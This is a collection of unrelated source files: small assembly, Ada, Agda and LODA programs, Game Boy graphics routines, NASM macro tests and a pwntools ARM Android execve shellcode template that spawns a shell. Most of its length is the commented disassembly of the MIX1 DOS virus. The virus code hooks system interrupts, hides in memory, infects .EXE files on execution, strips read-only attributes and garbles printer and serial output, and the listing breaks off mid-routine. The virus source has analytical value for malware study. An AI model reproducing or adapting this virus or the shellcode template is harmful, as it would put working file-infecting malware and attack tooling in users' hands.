0x0123 (0x000246) 0x2116- f:00020 d: 278 | A = OR[278]
0x0124 (0x000248) 0x2927- f:00024 d: 295 | OR[295] = A
0x0125 (0x00024A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0126 (0x00024C) 0x2928- f:00024 d: 296 | OR[296] = A
0x0127 (0x00024E) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0128 (0x000250) 0x5800- f:00054 d: 0 | B = A
0x0129 (0x000252) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x012A (0x000254) 0x7C09- f:00076 d: 9 | R = OR[9]
0x012B (0x000256) 0x211F- f:00020 d: 287 | A = OR[287]
0x012C (0x000258) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x012D (0x00025A) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x012E (0x00025C) 0x2914- f:00024 d: 276 | OR[276] = A
0x012F (0x00025E) 0x2114- f:00020 d: 276 | A = OR[276]
0x0130 (0x000260) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0131 (0x000262) 0x2908- f:00024 d: 264 | OR[264] = A
0x0132 (0x000264) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0133 (0x000266) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x0135 (0x00026A) 0x2915- f:00024 d: 277 | OR[277] = A
0x0136 (0x00026C) 0x2115- f:00020 d: 277 | A = OR[277]
0x0137 (0x00026E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0138 (0x000270) 0x2913- f:00024 d: 275 | OR[275] = A
0x0139 (0x000272) 0x7329- f:00071 d: 297 | P = P - 297 (0x0010)
0x013A (0x000274) 0x101E- f:00010 d: 30 | A = 30 (0x001E)
0x013B (0x000276) 0x2926- f:00024 d: 294 | OR[294] = A
0x013C (0x000278) 0x2118- f:00020 d: 280 | A = OR[280]
0x013D (0x00027A) 0x2927- f:00024 d: 295 | OR[295] = A
0x013E (0x00027C) 0x2119- f:00020 d: 281 | A = OR[281]
0x013F (0x00027E) 0x2928- f:00024 d: 296 | OR[296] = A
0x0140 (0x000280) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0141 (0x000282) 0x2929- f:00024 d: 297 | OR[297] = A
0x0142 (0x000284) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0143 (0x000286) 0x5800- f:00054 d: 0 | B = A
0x0144 (0x000288) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0145 (0x00028A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0146 (0x00028C) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0147 (0x00028E) 0x2926- f:00024 d: 294 | OR[294] = A
0x0148 (0x000290) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0149 (0x000292) 0x5800- f:00054 d: 0 | B = A
0x014A (0x000294) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x014B (0x000296) 0x7C09- f:00076 d: 9 | R = OR[9]
0x014C (0x000298) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x014D (0x00029A) 0x5445- f:00052 d: 69 | A = A + B | **** non-standard encoding with D:0x0045 ****
0x014E (0x00029C) 0x5241- f:00051 d: 65 | A = A & B | **** non-standard encoding with D:0x0041 ****
0x014F (0x00029E) 0x4354- f:00041 d: 340 | C = 1, io 0524 = BZ
0x0150 (0x0002A0) 0x4956- f:00044 d: 342 | A = A > B | **** non-standard encoding with D:0x0156 ****
0x0151 (0x0002A2) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0152 (0x0002A4) 0x434F- f:00041 d: 335 | C = 1, io 0517 = BZ
0x0153 (0x0002A6) 0x4E53- f:00047 d: 83 | A = A << B | **** non-standard encoding with D:0x0053 ****
0x0154 (0x0002A8) 0x4F4C- f:00047 d: 332 | A = A << B | **** non-standard encoding with D:0x014C ****
0x0155 (0x0002AA) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0156 (0x0002AC) 0x4C4F- f:00046 d: 79 | A = A >> B | **** non-standard encoding with D:0x004F ****
0x0157 (0x0002AE) 0x474F- f:00043 d: 335 | C = 1, IOB = BZ | **** non-standard encoding with D:0x014F ****
0x0158 (0x0002B0) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x0159 (0x0002B2) 0x4641- f:00043 d: 65 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0041 ****
0x015A (0x0002B4) 0x494C- f:00044 d: 332 | A = A > B | **** non-standard encoding with D:0x014C ****
0x015B (0x0002B6) 0x4544- f:00042 d: 324 | C = 1, IOB = DN | **** non-standard encoding with D:0x0144 ****
0x015C (0x0002B8) 0x2E00- f:00027 d: 0 | OR[0] = OR[0] - 1
0x015D (0x0002BA) 0x0000- f:00000 d: 0 | PASS
0x015E (0x0002BC) 0x0000- f:00000 d: 0 | PASS
0x015F (0x0002BE) 0x0000- f:00000 d: 0 | PASS
|
q4.asm | tatticoder/Simple-Code | 0 | 5134 | <gh_stars>0
.MODEL SMALL
.CODE
.386
.STARTUP
MOV BX,2H
MOV AL,2H
ADD [BX],AL
.EXIT
END
|
src/templates/ada/series_object.adb | joffreyhuguet/LmcpGen | 6 | 25456 | <reponame>joffreyhuguet/LmcpGen
with avtas.lmcp.factory; use avtas.lmcp.factory;
with Ada.Characters.Latin_1;
package body -<full_series_name_dots>-.-<datatype_name>- is
-<get_and_set_methods_body>-
-<calculate_packed_size_body>-
-<pack_body>-
-<unpack_body>-
-<xml_write_body>-
function -<datatype_name>-_Descendants return String_Vectors.Vector is
Descendants : String_Vectors.Vector;
use String_Vectors;
begin
-<all_descendants>-
return Descendants;
end -<datatype_name>-_Descendants;
end -<full_series_name_dots>-.-<datatype_name>-;
|
GameEngine/doBegin.asm | ped7g/EliteNext | 9 | 169396 |
doBegin:
call scramble ; scramble \ reload title.
jp Begin ; BEGIN \ Reset toggles, fall into TT170.
|
pwnlib/shellcraft/templates/arm/android/execve.asm | zaratec/pwntools | 5 | 21567 | <reponame>zaratec/pwntools
<%
from pwnlib.shellcraft import arm
from pwnlib.abi import linux_arm_syscall
%>
<%docstring>
Execute a different process.
</%docstring>
<%page args="path = '/system/bin//sh', argv=[], envp={}"/>
<%
if isinstance(envp, dict):
envp = ['%s=%s' % (k,v) for (k,v) in envp.items()]
regs = linux_arm_syscall.register_arguments
%>
% if argv:
${arm.pushstr_array(regs[2], argv)}
% else:
${arm.mov(regs[2], 0)}
% endif
% if envp:
${arm.pushstr_array(regs[3], envp)}
% else:
${arm.mov(regs[3], 0)}
% endif
${arm.pushstr(path)}
${arm.syscall('SYS_execve', 'sp', regs[2], regs[3])}
|
programs/oeis/004/A004329.asm | neoneye/loda | 22 | 86626 | <reponame>neoneye/loda<gh_stars>10-100
; A004329: Binomial coefficient C(3n,n-11).
; 1,36,741,11480,148995,1712304,18009460,177100560,1652411475,14783142660,127805525001,1074082795968,8815083648488,70907466006720,560658857389200,4367914309753280,33594090947249085,255485622301674660
mov $1,$0
add $0,11
mul $0,3
bin $0,$1
|
test/Succeed/Issue1988.agda | KDr2/agda | 0 | 7291 | {-# OPTIONS --cubical-compatible #-}
module _ where
infix 4 _≡_
data _≡_ {a} {A : Set a} (x : A) : A → Set a where
instance refl : x ≡ x
{-# BUILTIN EQUALITY _≡_ #-}
{-# BUILTIN REFL refl #-} -- This should trigger a warning!
|
hello.adb | Rijavel/HelloAda | 0 | 21993 | <filename>hello.adb
with Ada.Text_IO;
procedure Hello is
use Ada.Text_IO;
begin
Put_Line ("Hello Ada!");
end Hello;
|
src/gfxfunctions.asm | rondnelson99/bomb-golf | 1 | 11614 | INCLUDE "defines.asm"
SECTION "LCDMemsetSmallFromB", ROM0
; Writes a value to all bytes in an area of memory
; Works when the destination is in VRAM, even while the LCD is on
; @param hl Beginning of area to fill
; @param c Amount of bytes to write (0 causes 256 bytes to be written)
; @param a Value to write
; @return c 0
; @return hl Pointer to the byte after the last written one
; @return b Equal to a
; @return f Z set, C reset
LCDMemsetSmall::
ld b, a
; Writes a value to all bytes in an area of memory
; Works when the destination is in VRAM, even while the LCD is on
; Protip: you may want to use `lb bc,` to set both B and C at the same time
; @param hl Beginning of area to fill
; @param c Amount of bytes to write (0 causes 256 bytes to be written)
; @param b Value to write
; @return c 0
; @return hl Pointer to the byte after the last written one
; @return b Equal to a
; @return f Z set, C reset
LCDMemsetSmallFromB::
wait_vram
ld a, b
ld [hli], a
dec c
jr nz, LCDMemsetSmallFromB
ret
SECTION "LCDMemset", ROM0
; Writes a value to all bytes in an area of memory
; Works when the destination is in VRAM, even while the LCD is on
; @param hl Beginning of area to fill
; @param bc Amount of bytes to write (0 causes 65536 bytes to be written)
; @param a Value to write
; @return bc 0
; @return hl Pointer to the byte after the last written one
; @return d Equal to parameter passed in a
; @return a 0
; @return f Z set, C reset
LCDMemset::
ld d, a
; Writes a value to all bytes in an area of memory
; Works when the destination is in VRAM, even while the LCD is on
; @param hl Beginning of area to fill
; @param bc Amount of bytes to write (0 causes 65536 bytes to be written)
; @param d Value to write
; @return bc 0
; @return hl Pointer to the byte after the last written one
; @return a 0
; @return f Z set, C reset
LCDMemsetFromD::
; Increment B if C is non-zero
dec bc
inc b
inc c
.loop
wait_vram
ld a, d
ld [hli], a
dec c
jr nz, .loop
dec b
jr nz, .loop
UncoditionalRet:: ;I use this to delay by calling a ret sometimes
ret
SECTION "LCDMemcpySmall", ROM0
; Copies a block of memory somewhere else
; Works when the source or destination is in VRAM, even while the LCD is on
; @param de Pointer to beginning of block to copy
; @param hl Pointer to where to copy (bytes will be written from there onwards)
; @param c Amount of bytes to copy (0 causes 256 bytes to be copied)
; @return de Pointer to byte after last copied one
; @return hl Pointer to byte after last written one
; @return c 0
; @return a Last byte copied
; @return f Z set, C reset
LCDMemcpySmall::
wait_vram
ld a, [de]
ld [hli], a
inc de
dec c
jr nz, LCDMemcpySmall
ret
SECTION "LCDMemcpy", ROM0
; Copies a block of memory somewhere else
; Works when the source or destination is in VRAM, even while the LCD is on
; @param de Pointer to beginning of block to copy
; @param hl Pointer to where to copy (bytes will be written from there onwards)
; @param bc Amount of bytes to copy (0 causes 65536 bytes to be copied)
; @return de Pointer to byte after last copied one
; @return hl Pointer to byte after last written one
; @return bc 0
; @return a 0
; @return f Z set, C reset
LCDMemcpy::
; Increment B if C is non-zero
dec bc
inc b
inc c
.loop
wait_vram
ld a, [de]
ld [hli], a
inc de
dec c
jr nz, .loop
dec b
jr nz, .loop
ret
SECTION "clear OAM", ROM0
ClearOAM:: ;doesn't actually zero OAM, just zeroes all the Y positions to hide the sprites
ld hl, wShadowOAM
ld b, OAM_COUNT ;how many sprites
xor a
.loop
ld [hl+], a ; zero the Y position
inc l
inc l
inc l ;skip the other three bytes in the OAM entry
dec b
jr nz, .loop
ret
SECTION "render sprite 12.4", ROM0
;Chack if a sprite is no the screen, and render it if it is.
/* Params:
HL: pointer to 12.4 Y position, followed by 12.4 X position
B: Y offset from the center of the sprite to the top edge
C: X offset from the center of the sprite to the left edge
DE: pointer to the shadow OAM entry where this sprite can go
Returns:
HL: Points to the tile number byte in shadow OAM to be written by the caller
BC: is preserved
Clobbers A, DE
*/
RenderSprite124::
push de
ld a, [hl+] ;low byte
ld e, a
ld a, [hl+] ;high byte
cp 16 ;make sure it's within the 256 px tilemap range
jr nc, .hide ;and hide it if it's not
xor e
and $0f
xor e ;masked merge
swap a
add b ;add the edge offset
ld e, a ;store it in e until we're ready to write it
;subtract the camera position
ldh a, [hSCY]
cpl ; invert it. The inc a is bakes into the next add
add 1 + OAM_Y_OFS ;convert to OAM position
add e
cp STATUS_BAR_HEIGHT - 8 + OAM_Y_OFS;if the sprite is fully hidden by the status bar, don't draw it
jr c, .hide
ld e, a
;now for the X coordinate
;do the whole fetch and masked merge thing again
ld a, [hl+] ;low byte
ld d, a
ld a, [hl+] ;high byte
cp 16 ;make sure it's within the 256 px tilemap range
jr nc, .hide ;and hide it if it's not
xor d
and $0f
xor d ;masked merge
swap a
;subtract the camera position
ld hl, hSCX
sub [hl]
add OAM_X_OFS ;convert to OAM position
add c ;add the edge offset
;now we can clobber hl and start writing these
pop hl ;the entry in Shadow OAM
ld [hl], e ;y coordinate first
inc l ;shadow OAM is aligned so this is fine
ld [hl+], a ;X coordinate
ret
.hide
pop hl;zero the Y coordinate in OAM to hide it
xor a
ld [hl+], a
inc l ;the caller expects this to point to the tile index byte, so increment it anyways
ret
|
packages/x86-toolkit/x86-assembler/tests/asm/macros.asm | Mati365/ts-c99-compiler-toolkit | 0 | 176423 | <filename>packages/x86-toolkit/x86-assembler/tests/asm/macros.asm
;= test: defines advanced macro
;= bin: 6bc0f1b8ff00b80200b8300031db6bc30289d8b87b0031c9
[bits 16]
%define DUPA2(a, b) mov a, b
%define DUPA2(a, b, c) imul a, b, c
%define sum(a, b) (a+b)
%define minus(a, b) (a-b)
%define mul(a, b) (a*b)
%define div(a, b) (a/b)
%define DUPA -0xF
imul ax, DUPA
%define DUPA 0xFF
mov ax, DUPA
%undef DUPA
%define DUPA
%define DUPA3 2
%ifdef DUPA
mov ax, DUPA3
%endif
mov ax, %[mul(div(4 / 2, 1 * 2), sum(2, 2)) + 4 * sum(4, 4)]
; mov ax, %[DUPA + 4]
%if mul(div(4 / 2, 1 * 2), sum(2, 2)) >= 229
xor ax, ax
%elif 2 + 2 > sum(-1, 2)
xor bx, bx
%endif
DUPA2(ax, bx, 0x2)
DUPA2(ax, bx)
%idefine dups 123
mov ax, DUPS
%ifn dups > 123
xor cx, cx
%endif
;= test: add scopes ids replace
;= bin: eb0112ba0200b90100bbfe00b440cd21
[bits 16]
%macro writefile 2
jmp %%endstr
%%str: db %2
%%endstr:
mov dx,%%str
mov cx,%%endstr-%%str
mov bx,%1
mov ah,0x40
int 0x21
%endmacro
writefile 0xFE, 0x12
;= test: critical equ
;= bin: b80200b80c00bb1100b81f00bb0e00
%define abc 2
%define kupsztal iksde
%define putas equ
%define putas2 labelik
mov ax, abc
%ifdef abc3
mov bx, 0x2
%endif
kupsztal: equ 12
kupsztal2: putas 17
mov ax, iksde
mov bx, kupsztal2
var1: equ 5+5+var2*5/1-1+12
var2: equ 2
mov ax, var1
abcdefe: equ 11*3+3-4-5-6-7
mov bx, abcdefe
;= test: advanced ifs
;= bin:
%if (12 + 3) > 10 && (12 < 3 || 4 > 5 || (2 * 2 > 1 && 1 > 2))
xor ax, ax
%endif
|
MSDOS/Virus.MSDOS.Unknown.icemix1.asm | fengjixuchui/Family | 3 | 173697 | <gh_stars>1-10
; THE MIX1 virus
;
; It was first detected in Israel in August '89.
;
; Disassembly done Sept. 24-25 '89.
;
; The author of this program is unknown, but it is clearly a
; modification of the "Icelandic" virus, with considerable
; additions
;
; All comments in this file were added by <NAME>,
; University of Iceland/Computing Services.
;
; INTERNET: <EMAIL>
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by ... to ... bytes.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; "MIX1"
;
; To check for system infection, a byte at 0:33C is used - if it
; contains 77 the virus is installed in memory.
;
;
VIRSIZ EQU 128
;
; This is the original program, just used so this file, when
; assembled, will produce an active copy.
;
_TEXT1 SEGMENT PARA PUBLIC
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; The virus is basically divided in the following parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 17 handler. All outgoing characters will be garbled.
;
; 3. The new INT 14 handler. All outgoing characters will be garbled.
;
; 4. The new INT 8 handler.
;
; 5. The new INT 9 handler. Disables the Num-Lock key
;
; 6. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; Parts 1 and 6 are almost identical to the Icelandic-1 version
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
VIRUS PROC FAR
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABEL: DEC SP ; This used to be SUB SP,4
DEC SP
NOP
DEC SP
DEC SP
PUSH BP
MOV BP,SP
NOP ; added
PUSH AX
NOP ; added
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
MOV AX,0 ; Was: XOR AX,AX
MOV ES,AX
CMP ES:[33CH],BYTE PTR 077H
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
L1: MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
PUSH ES ; Two totally unnecessary instructions
POP AX ; added
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
PUSH BX ; Unnecessary addition
POP AX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block.
;
PUSH BX ; Was: MOV ES,BX
POP ES
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
MOV DI,SI
PUSH CS
POP DS
MOV CX,652H
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; Zero some variables
;
L3: MOV BYTE PTR CS:[MIN60],0
NOP
MOV BYTE PTR CS:[MIN50],0
NOP
MOV WORD PTR CS:[TIMER],0
;
; The most nutty way to zero ES register that I have ever seen:
;
MOV BX,0FFFFH
ADD BX,3F3FH
MOV CL,0AH
SHL BX,CL
AND BX,CS:[CONST0]
MOV AX,BX
MOV ES,AX
;
; Set flag to confirm installation
;
MOV BYTE PTR ES:[33CH],77H
;
; Hook interrupt 21:
;
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
;
; Hook interrupt 17:
;
MOV AX,ES:[005CH]
MOV CS:[OLD17],AX
MOV AX,ES:[005EH]
MOV CS:[OLD17+2],AX
MOV AX,CS
MOV ES:[005EH],AX
MOV AX,OFFSET NEW17
MOV ES:[005CH],AX
;
; Hook interrupt 14:
;
MOV AX,ES:[0050H]
MOV CS:[OLD17],AX
MOV AX,ES:[0052H]
MOV CS:[OLD14+2],AX
MOV AX,CS
MOV ES:[0052H],AX
MOV AX,OFFSET NEW14
MOV ES:[0050H],AX
;
;
;
CMP WORD PTR CS:[NOINF],5
JG HOOK9
JMP EXIT
;
; Hook interrupt 9
;
HOOK9: MOV AX,ES:[0024H]
MOV CS:[OLD9],AX
MOV AX,ES:[0026H]
MOV CS:[OLD9+2],AX
MOV AX,CS
MOV ES:[0026H],AX
MOV AX,OFFSET NEW9
MOV ES:[0024H],AX
;
; Hook interrupt 8
;
MOV AX,ES:[0020H]
MOV CS:[OLD8],AX
MOV AX,ES:[0022H]
MOV CS:[OLD8+2],AX
MOV AX,CS
MOV ES:[0022H],AX
MOV AX,OFFSET NEW8
MOV ES:[0020H],AX
JMP EXIT
;
; Video processing
;
VID: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
MOV AH,0FH
INT 10H
MOV AH,6
MUL AH
MOV BX,AX
MOV AX,DS:[BX+OFFSET VIDEOT]
MOV CX,DS:[BX+OFFSET VIDEOT+2]
MOV DX,DS:[BX+OFFSET VIDEOT+4]
MOV ES,DX
SHR CX,1
MOV DI,1
CMP AX,0
JNZ V1
V0: INC WORD PTR ES:[DI]
INC DI
INC DI
LOOP V0
JMP SHORT V2
NOP
V1: NOT WORD PTR ES:[DI]
INC DI
INC DI
LOOP V1
V2: POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
POP AX
RET
;
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
; This routine does not become active until 50 minutes after
; the execution of an infected program.
;
NEW9: PUSH AX
PUSH ES
CMP BYTE PTR CS:[MIN50],1
JNZ RETX1
XOR AX,AX
MOV ES,AX ; was xxxxxxxx
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
OR BYTE PTR ES:[417H],20H ; x01xxxxx
TEST BYTE PTR ES:[417H],0CH
JZ RETX1
IN AL,60
CMP AL,53
JNZ RETX1
AND BYTE PTR ES:[417H],0F7H
;
; This seems to be an error - the virus uses a FAR call, which will
; probably cause the computer to crash.
;
DB 9AH
DW OFFSET VID,171CH
;
; This needs more checking.
;
RETX1: POP ES
POP AX
DB 0EAH
OLD9 DW 0,0
;
; New INT 14 routine - garble all outgoing characters
;
NEW14: CMP AH,1
JZ S1
DO14: DB 0EAH
OLD14 DW 0,0
S1: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX] ; use old character as index into table
POP BX
JMP DO14
;
; New INT 8 routine
;
NEW8: PUSH DX
PUSH CX
PUSH BX
PUSH AX
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
JZ TT0 ; No need to check any more
INC WORD PTR CS:[TIMER] ; else increment timer
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
JZ TT1
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
JZ TT2
JMP TXEX
;
; 50 minutes after an infected program is run the flag is set.
;
TT2: MOV BYTE PTR CS:[MIN50],1
NOP
JMP TXEX
;
; 60 minutes after an infected program is run we start the ball bouncing.
;
TT1: MOV BYTE PTR CS:[MIN60],1
;
; Get current cursor position and save it
;
MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Set cursor position
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Check what is there and store it
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Set cursor position back as it was before
;
MOV AH,2
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Get current video mode and store it
;
MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
;
; Exit interrupt routine
;
JMP TXEX
;
; Every time an INT 8 occurs, after the 60 min. have passed, we
; end up here:
;
; First get current cursor position
;
TT0: MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Then set it to last position of ball.
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Write previous character there ...
;
MOV AH,0EH
MOV AL,CS:[ONSCREEN]
MOV BX,0
INT 10H
;
;
CMP BYTE PTR CS:[UPDOWN],0
JZ T2
;
;
DEC BYTE PTR CS:[MYLINE]
JMP SHORT T3
NOP
T2: INC BYTE PTR CS:[MYLINE]
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
JZ T4
DEC BYTE PTR CS:[MYCOL]
JMP SHORT T5
NOP
T4: INC BYTE PTR CS:[MYCOL]
;
; Get current video mode
;
T5: MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
MOV AL,CS:[MAXLIN]
CMP CS:[MYLINE],AL ; bottom of screen ?
JNZ T6
;
; Reached bottom - now go upwards.
;
NOT BYTE PTR CS:[UPDOWN]
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
JNZ T7
;
; Reached top - now go downwards
;
NOT BYTE PTR CS:[UPDOWN]
T7: MOV AL,CS:[VMODE]
CMP CS:[MYCOL],AL
JNZ T8
NOT BYTE PTR CS:[LEFTRIGHT]
T8: CMP BYTE PTR CS:[MYCOL],0
JNZ T9
NOT BYTE PTR CS:[LEFTRIGHT]
;
; Set cursor position to new position of ball
;
T9: MOV AH,02
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Get what is there and store it.
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Write character (lower case o)
;
MOV AH,0EH
MOV AL,6FH
MOV BX,0
INT 10H
;
; And restore cursor position
;
MOV AH,02
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Restore registers and quit
;
TXEX: POP AX
POP BX
POP CX
POP DX
DB 0EAH
OLD8 DW 0,0
;
; New INT 17 routine. Garble all outgoing characters.
;
NEW17: CMP AH,0
JZ P0
DO17: DB 0EAH
OLD17 DW 0,0
P0: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX]
POP BX
JMP DO17
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21: CMP AH,4BH
JE L5
DO21: DB 0EAH
OLD21 DW 0,0
;
; The code to only infect every tenth program has been removed
;
L5: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DO21
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
;
; This part of the code is new: Get date of file.
;
MOV AX,5700H
INT 21H
JC L9
MOV CS:[DATE1],DX
MOV CS:[DATE2],CX
;
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
;
; This part of the virus is new - check if it is below minimum length
;
CMP DX,0
JNE L8B
MOV CL,13
SHR AX,CL
CMP AX,0
JG L8B
JMP SHORT L9
NOP
L8B: MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,494DH
JNE L12
MOV AX,[SI+2]
CMP AX,3158H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: MOV DX,0 ; Was: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
JMP SHORT F0 ; some unnecessary instructions
NOP
; First modify initial IP
;
F0: MOV AX,OFFSET LABEL
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
MOV CL,CS:[CONST1] ; Modified a bit
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SUB AX,DS:ID[10H]
